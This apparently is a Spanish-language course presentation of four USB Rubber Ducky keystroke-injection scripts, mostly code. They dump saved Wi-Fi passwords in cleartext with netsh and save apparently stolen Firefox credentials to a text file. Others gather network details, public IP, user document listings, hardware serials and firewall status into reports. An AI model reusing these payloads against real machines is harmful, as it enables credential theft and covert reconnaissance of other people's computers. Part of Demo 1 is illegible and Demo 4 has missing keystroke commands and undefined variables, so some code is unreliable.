

## Scripts para utilizarse en USB Rubber Ducky

## Demo No 1

## Credenciales guardadas en Firefox

[illegible]

```
DELAY 500
ENTER
DELAY 500
ALT F4
DELAY 500
GUI r
DELAY 500
STRING powershell start-process notepad.exe -Verb runAs
DELAY 500
ENTER
DELAY 2000
ALT y
DELAY 1000
CTRL V
DELAY 500
ALT F4
DELAY 500
ENTER
STRING d:\passwords.txt
DELAY 500
ENTER
DELAY 200
ALT F4
```

## Demo No 2

### Información de la Wireless a la que se está utilizando

```
DELAY 1000
WINDOWS d
DELAY 450
WINDOWS r
DELAY 450
STRING powershell Start-Process powershell -Verb runAs
DELAY 30
ENTER
DELAY 500
ALT y
DELAY 1000
REM *****
REM # We're going to grab all wifi passwords
```

```

REM *****
STRING (netsh wlan show profiles) | Select-String "\:(.+) $" |
%{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show
profile name="$name" key=clear)} | Select-String "Key
Content\W+\:(.+) $" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} |
%{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table
-AutoSize > C:\Information.txt
ENTER
DELAY 400
STRING $command = {hostname; Get-NetIpAddress | Where PrefixOrigin -EQ
DHCP; Invoke-RestMethod http://ipinfo.io/json | Select -exp ip}
ENTER
DELAY 60
STRING $command.InvokeReturnAsIs() | Out-File C:\Information.txt -Append
ENTER
DELAY 400
STRING exit
ENTER
DELAY 400

```

## Demo No 3

### Información de la red y tarjetas disponibles

```

DELAY 1000
WINDOWS d
DELAY 450
WINDOWS r
DELAY 450
STRING powershell Start-Process powershell -Verb runAs
DELAY 30
ENTER
DELAY 500
ALT y
DELAY 1000
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss')
ENTER
DELAY 30
STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky
Report ' + $folderDateTime
ENTER
DELAY 30
STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory

```

```
ENTER
DELAY 30
STRING $date = get-date
ENTER
DELAY 30
STRING $style = "<style> table td{padding-right: 10px;text-align:
left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt;
border: 10px solid
black;background-color:white;height:100%;overflow:auto;}#left{float:left
; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid
black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:
#C0C0C0;float:right;width:45%;height:260px;border: 4px solid
black;padding:10px;margin:10px;overflow:scroll;}#center{background-color
:#C0C0C0;width:98%;height:300px;border: 4px solid
black;padding:10px;overflow:scroll;margin:10px;} </style>"
ENTER
DELAY 30
STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style >
$fileSaveDir'/ComputerInfo.html'
ENTER
DELAY 30
STRING $Report = $Report + "<div id=body><h1>Duck Tool Kit
Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"
ENTER
DELAY 30
STRING $Report = $Report + '<div id=center><h3>Network
Information</h3>'
ENTER
DELAY 30
STRING $Report = $Report + (Get-WmiObject
Win32_NetworkAdapterConfiguration -filter 'IPEnabled= True' | Select
Description,DNSHostname, @{Name='IP Address
';Expression={$_.IPAddress}}, MACAddress | ConvertTo-Html)
ENTER
DELAY 30
STRING $Report = $Report + '</table></div>'
ENTER
DELAY 30
STRING $Report| Format-Table -AutoSize > C:\Information.html
ENTER
DELAY 400
STRING exit
ENTER
```

## Demo No 4

### Información de la Computadora

```
DELAY 1000
WINDOWS d
DELAY 450
WINDOWS r
DELAY 450
STRING powershell Start-Process powershell -Verb runAs
DELAY 30
ENTER
DELAY 500
ALT y
DELAY 1000
$folderDateTime = (get-date).ToString('d-M-y HHmmss')
$userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' +
$folderDateTime
$fileSaveDir = New-Item ($userDir) -ItemType Directory
$date = get-date
$style = "<style> table td{padding-right: 10px;text-align: left;}#body
{padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px
solid
black;background-color:white;height:100%;overflow:auto;}#left{float:left
; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid
black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:
#C0C0C0;float:right;width:45%;height:260px;border: 4px solid
black;padding:10px;margin:10px;overflow:scroll;}#center{background-color
:#C0C0C0;width:98%;height:300px;border: 4px solid
black;padding:10px;overflow:scroll;margin:10px;} </style>"
$Report = ConvertTo-Html -Title 'Recon Report' -Head $style >
$fileSaveDir'/ComputerInfo.html'
$Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr
size=2><br><h3> Generated on: $Date </h3><br>"
$Report = $Report + '<div id=center><h3>User Documents
(doc,docx,pdf,rar)</h3>'
$Report = $Report + (Get-ChildItem -Path $userDir -Include *.doc,
*.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name,
LastAccessTime)
$Report = $Report + '</div>'
$SysBootTime = Get-WmiObject Win32_OperatingSystem
```

```

$BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)|
ConvertTo-Html datetime
$SysSerialNo = (Get-WmiObject -Class Win32_OperatingSystem -ComputerName
$env:COMPUTERNAME)
$SerialNo = $SysSerialNo.SerialNumber
$SysInfo = Get-WmiObject -class Win32_ComputerSystem -namespace
root/CIMV2 | Select Manufacturer,Model
$SysManufacturer = $SysInfo.Manufacturer
$SysModel = $SysInfo.Model
$OS = (Get-WmiObject Win32_OperatingSystem -computername
$env:COMPUTERNAME ).caption
$disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'"
$HD = [math]::truncate($disk.Size / 1GB)
$FreeSpace = [math]::truncate($disk.FreeSpace / 1GB)
$SysRam = Get-WmiObject -Class Win32_OperatingSystem -computername
$env:COMPUTERNAME | Select TotalVisibleMemorySize
$Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB)
$SysCpu = Get-WmiObject Win32_Processor | Select Name
$Cpu = $SysCpu.Name
$HardSerial = Get-WMIObject Win32_BIOS -Computer $env:COMPUTERNAME |
select SerialNumber
$HardSerialNo = $HardSerial.SerialNumber
$SysCdDrive = Get-WmiObject Win32_CDROMDrive |select Name
$graphicsCard = gwmi win32_VideoController |select Name
$graphics = $graphicsCard.Name
$SysCdDrive = Get-WmiObject Win32_CDROMDrive |select -first 1
$DriveLetter = $CDDrive.Drive
$DriveName = $CDDrive.Caption
$Disk = $DriveLetter + '\' + $DriveName
$Firewall = New-Object -com HNetCfg.FwMgr
$FireProfile = $Firewall.LocalPolicy.CurrentProfile
$FireProfile = $FireProfile.FirewallEnabled
$Report = $Report + "<div id=left><h3>Computer
Information</h3><br><table><tr><td>Operating
System</td><td>$OS</td></tr><tr><td>OS Serial
Number:</td><td>$SerialNo</td></tr><tr><td>Current
User:</td><td>$env:USERNAME </td></tr><tr><td>System
Uptime:</td><td>$BootTime</td></tr><tr><td>System
Manufacturer:</td><td>$SysManufacturer</td></tr><tr><td>System
Model:</td><td>$SysModel</td></tr><tr><td>Serial
Number:</td><td>$HardSerialNo</td></tr><tr><td>Firewall is
Active:</td><td>$FireProfile</td></tr></table></div><div
id=right><h3>Hardware Information</h3><table><tr><td>Hardrive
Size:</td><td>$HD GB</td></tr><tr><td>Hardrive Free
Space:</td><td>$FreeSpace GB</td></tr><tr><td>System RAM:</td><td>$Ram

```

```
GB</td></tr><tr><td>Processor:</td><td>$Cpu</td></tr><td>CD
Drive:</td><td>$Disk</td></tr><tr><td>Graphics
Card:</td><td>$graphics</td></tr></table></div>"
$Report| Format-Table -AutoSize > C:\Test.html
ENTER
DELAY 400
STRING exit
ENTER
```

**Presentación final de:** Ing. Iver Adolfo Vargas e Ing Nancy Noelia Pazos